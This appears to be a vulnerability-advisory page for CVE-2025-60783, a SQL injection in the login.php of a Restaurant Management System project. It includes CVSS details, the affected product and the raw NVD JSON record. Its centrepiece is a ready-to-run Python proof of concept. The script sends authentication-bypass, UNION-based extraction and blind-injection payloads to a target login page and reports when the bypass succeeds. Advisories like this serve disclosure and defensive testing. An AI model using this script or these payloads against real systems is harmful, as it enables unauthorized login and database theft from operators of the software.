Security Vulnerability Report
中文
CVE-2025-60783 CVSS 6.5 MEDIUM

CVE-2025-60783

Published: 2025-10-20 21:15:38
Last Modified: 2025-12-12 15:14:03

Description

There is a SQL injection vulnerability in Restaurant Management System DBMS Project v1.0 via login.php. The vulnerability allows attackers to manipulate the application's database through specially crafted SQL query strings.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rajvi-patel-22:restaurant-management-system-dbms-project:1.0:*:*:*:*:*:*:* - VULNERABLE
Restaurant Management System DBMS Project v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60783 SQL Injection PoC for Restaurant Management System v1.0 # Vulnerability Location: login.php # Attack Type: Authentication Bypass via SQL Injection import requests TARGET_URL = "http://target-server/login.php" # Payload 1: Authentication Bypass using classic OR-based injection payloads = [ { "username": "admin' OR '1'='1' -- ", "password": "anything" }, { "username": "admin' OR '1'='1' #", "password": "anything" }, { "username": "' OR 1=1 -- ", "password": "anything" } ] # Payload 2: UNION-based injection to extract database version union_payload = { "username": "' UNION SELECT 1,version(),database(),4 -- ", "password": "anything" } # Payload 3: Boolean-based blind injection test blind_payload_true = { "username": "admin' AND 1=1 -- ", "password": "anything" } blind_payload_false = { "username": "admin' AND 1=2 -- ", "password": "anything" } def exploit_sql_injection(url, data): """Send malicious SQL injection payload to login.php""" try: response = requests.post(url, data=data, timeout=10, allow_redirects=False) print(f"[*] Payload: {data}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for successful authentication bypass if response.status_code == 302 or "dashboard" in response.text.lower() or "welcome" in response.text.lower(): print("[+] SUCCESS: Authentication bypassed!") return True elif "error" not in response.text.lower() and "invalid" not in response.text.lower(): print("[+] Possible success - check response manually") return True else: print("[-] FAILED: Injection did not bypass authentication") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-60783 - SQL Injection PoC") print("Target: Restaurant Management System v1.0") print("=" * 60) for i, payload in enumerate(payloads, 1): print(f"\n[Attempt {i}] Trying authentication bypass...") exploit_sql_injection(TARGET_URL, payload) print("\n[Attempt] Trying UNION-based data extraction...") exploit_sql_injection(TARGET_URL, union_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60783", "sourceIdentifier": "[email protected]", "published": "2025-10-20T21:15:38.037", "lastModified": "2025-12-12T15:14:03.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a SQL injection vulnerability in Restaurant Management System DBMS Project v1.0 via login.php. The vulnerability allows attackers to manipulate the application's database through specially crafted SQL query strings."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rajvi-patel-22:restaurant-management-system-dbms-project:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "87EAFFB2-F8EB-409C-8AC3-42C2AAE14A40"}]}]}], "references": [{"url": "https://gold-textbook-8ff.notion.site/Restaurant-Management-System-DBMS-project-SQL-injection-25985e97f35380b2922ad4ebe8c47639", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gold-textbook-8ff.notion.site/Restaurant-Management-System-DBMS-project-SQL-injection-25985e97f35380b2922ad4ebe8c47639?pvs=73", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}